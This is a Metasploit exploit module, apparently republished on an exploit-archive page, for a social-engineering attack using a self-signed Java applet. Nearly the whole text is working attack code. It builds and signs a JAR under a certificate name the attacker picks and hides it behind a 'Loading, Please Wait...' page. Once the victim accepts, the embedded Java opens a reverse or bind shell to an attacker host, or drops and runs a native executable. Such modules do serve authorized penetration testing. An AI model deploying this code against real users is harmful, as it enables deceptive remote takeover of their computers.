Signed Applet Social Engineering Code Exec

Related Vulnerabilities: CVE-2008-5353  
Publish Date: 05 Feb 2010
                							

                ##
# $Id: java_signed_applet.rb 8328 2010-01-29 19:47:40Z natron $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Java

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'Signed Applet Social Engineering Code Exec',
      'Description'   => %q{
        This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it 
        to a .jar file, then signs the .jar with a dynamically created certificate containing 
        values of your choosing.  This is presented to the end user via a web page with an applet 
        tag, loading the signed applet.

        The user's JVM pops a dialog asking if they trust the signed applet and displays the 
        values chosen.  Once the user clicks 'accept', the applet executes with full user 
        permissions.

        The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
        created for the CVE-2008-5353 java deserialization exploit.

        This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
        If these dependencies are not present, the exploit falls back to a static, signed
        JAR.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'natron' ],
      'Version'       => '$Revision: 8328 $',
      'References'    =>
      [
        [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
      ],
      'Platform'      => [ 'win', 'osx', 'linux', 'solaris' ],
      'Payload'       => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          # Generic java payload is mostly useless right now, as it kills as soon as the user browsers
          # to another page. It should be rewritten to launch a new JVM in the background with a custom
          # .class.  
          # 
          # Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via 
          # /bin/sh or cmd.exe
          [ 'Generic (Java Payload)',
            {
              # This is a bad hack to force only the generic/shell_bind_tcp 
              # and generic/shell_reverse_tcp payloads
              'Platform' => ['win'],
              'Payload' => { 'Space' => 0 },
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          # Not tested.
          [ 'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          # Not tested.
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ],
          # Not tested.
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
        ],
       'DefaultTarget' => 0
      ))
      register_options( 
        [
          OptString.new(     'CERTCN',   [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
          OptString.new( 'APPLETNAME',  [ true, "The main applet's class name.",      "SiteLoader"    ]),
          OptString.new('PAYLOADNAME',  [ true, "The payload classes name.",         "SiteSupport"   ]),
          
          # Not implemented yet.
          #OptString.new('PACKAGENAME',  [ true, "The package name for gen'd classes.","x"    ]),
          #OptString.new('CUSTOMJAR',   [ false, "A custom .jar applet to use.", nil]),
        ], self.class)
  end


  def exploit
    #
    # Currently doing all processing in on_request_uri.
    # If this is too slow, we can move applet generation up here.
    #

    @use_static = false

    if not @jvm_init
      print_error
      print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
      print_error "Falling back to static signed applet.  This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
      print_error
      @use_static = true
    end
    super    
  end
  
  def get_code(cli)

    # I used to dump #{data} directly into the applet source, but there's a max size of 65k characters for constant Strings.  
    appletsource = %Q^
/*
 */

import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class #{datastore['APPLETNAME']} extends Applet
{

  public void init()
  {
    try
    {  
      String data  = getParameter( "data" );
      String lhost = getParameter( "lhost" );
      String lport = getParameter( "lport" );
      
      if( data == null ) {
        data = "";
      }
      
      //System.out.println("Applet executing. Creating payload class.");
          
      #{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();
      //System.out.println("Payload class instantiated.");
      site.data  = data;
      
      if( lhost != null && lport != null) {
        site.lhost = lhost;
        site.lport = Integer.parseInt(lport);
        System.out.println("lhost: " + lhost);
        System.out.println("lport: " + Integer.parseInt(lport));
      }
    
      //System.out.println("data: " + data);

      site.run();
    }
    catch( Exception e ) { System.out.println("Applet error: " + e); }
  }
  
  class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction
  {
    // This will contain a hex string of the native payload to drop and execute.
    public String data = null;
    // If no native payload is set we get either a java bind shell or a java
    // reverse shell.
    public String lhost = null;
    public int lport = 4444;
  
    class StreamConnector extends Thread
    {
      InputStream is;
      OutputStream os;
  
      StreamConnector( InputStream is, OutputStream os )
      {
        this.is = is;
        this.os = os;
      }
  
      public void run()
      {
        BufferedReader in = null;
        BufferedWriter out = null;
        
        try
        {
          in = new BufferedReader( new InputStreamReader( is ) );
          out = new BufferedWriter( new OutputStreamWriter( os ) );
          char buffer[] = new char[8192];
          int length;
          while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
          {
            out.write( buffer, 0, length );
            out.flush();
          }
        }
        catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
  
        try
        {
          if( in != null )
            in.close();
          if( out != null )
            out.close();
        }
        catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
      }
    }
  
    // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
    public byte[] StringToBytes( String s )
    {
      byte[] data = new byte[s.length() / 2];
  
      for( int i = 0 ; i < s.length() ; i += 2 )
        data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
  
      return data;
    }
  
    public Object run() throws Exception
    {
      //System.out.println("Applet running...");
      
      try
      {
        String os = System.getProperty( "os.name" );
  
        // if we have no native payload to drop and execute we default to
        // either a TCP bind or reverse shell.
        //if( #{datastore['PAYLOADNAME']}.data.length() == 0 )
        if( this.data.length() == 0 )
        {
          //System.out.println("Applet thinks payload.data is empty.");
          Socket client_socket = null;
  
          String shell = "/bin/sh";
  
          if( os.indexOf( "Windows" ) >= 0 )
            shell = "cmd.exe";
  
          //if( #{datastore['PAYLOADNAME']}.lhost == null )
          if( this.lhost == null )
          {
            //ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport );
            ServerSocket server_socket = new ServerSocket( this.lport );
            client_socket = server_socket.accept();
          }
          else
          {
            //client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );
            client_socket = new Socket( this.lhost, this.lport );
          }
  
          if( client_socket != null )
          {
            Process process = Runtime.getRuntime().exec( shell );
  
            ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();

            ( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start();
  
            ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
          }
        }
        else
        {
          //System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" ));
          String filename = Math.random() + ".exe";
          String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename;
          //System.out.println(filename + " written.");
  
          Process p;
          FileOutputStream fos = new FileOutputStream( path );
  
          //fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) );
          fos.write( StringToBytes( this.data ) );

          fos.close();
  
          if( os.indexOf( "Windows" ) < 0 )
          {
            p = Runtime.getRuntime().exec( "chmod 755 " + path );
            p.waitFor();
          }
  
          p = Runtime.getRuntime().exec( path );
  
          p.waitFor();
  
          new File( path ).delete();
        }
      }
      catch( Exception e ) { System.out.println("Payload execution error: " + e); }
      
      return null;
    }
  
    public void #{datastore['PAYLOADNAME']}()
    {
      try
      {
        AccessController.doPrivileged( this );
      }
      catch( Exception e ) { System.out.println("Payload instantiation error: " + e); }
    }
  }
}^
    appletcode = {   'classnames' => [ datastore['APPLETNAME'] ] ,
        'codefiles'  => [ appletsource       ] }

    return appletcode
  end

  def on_request_uri( cli, request )

    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect( cli, get_resource() + '/', '')
        return
      end

      print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )

      if target.name == 'Generic (Java Payload)'
        if datastore['LHOST']
          host = datastore['LHOST']
          port = datastore['LPORT']
          print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
        else
          port = datastore['LPORT']
          datastore['RHOST'] = cli.peerhost
          print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
        end
      else
        payload = regenerate_payload( cli )
        if not payload
          print_status( "Failed to generate the payload." )
          return
        end
    
        if target['Arch'] == ARCH_X86
          data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win'
          data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
          data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
    
        elsif target['Arch'] == ARCH_PPC
          data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
        end

        if data
          print_status( "Generated executable to drop (#{data.length} bytes)." )
          data = Rex::Text.to_hex( data, prefix="" )
        else
          print_status( "Failed to generate the executable." )
          return
        end
      end

      if not @use_static
        appletcode = get_code(cli)

        print_status "Compiling applet classes..."
        compile( appletcode['classnames'], appletcode['codefiles'] )
    
        print_status "Compile completed.  Building jar file..."

        unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
        @signedjar   = "#{datastore['APPLETNAME']}.jar"
  
        build_jar( unsignedjar,
            [ # Applet
              datastore['APPLETNAME'] + ".class",
              # PayloadX class
              datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
              # PayloadX StreamConnector for pure Java payload
              datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
  
        print_status "Jar built.  Signing..."
    
        sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
  
        print_status "Jar signed.  Ready to send."
      else
        print_status "Using static, signed jar.  Ready to send."
      end
  
      # TODO: gzip data and parse in java
      send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
      return
    end
        
    # load the jar file
    if @use_static
      path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
    elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
      path = File.join( datastore['JAVACACHE'], @signedjar )
    end
    
    if path
      fd = File.open( path, "rb" )
      @jar_data = fd.read(fd.stat.size)
      fd.close
    end
    
    print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}.  Waiting for user to click 'accept'..." )
    send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )

    handler( cli )

  end

  def generate_html( data, host, port )
    html  = "<html><head><title>Loading, Please Wait...</title></head>"
    html += "<body><center><p>Loading, Please Wait...</p></center>"
    html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" "
    html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">"

    html += "<param name=\"data\" value=\"#{data}\"/>" if data
    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
    html += "<param name=\"lport\" value=\"#{port}\"/>" if port

    html += "</applet></body></html>"
    return html
  end


end
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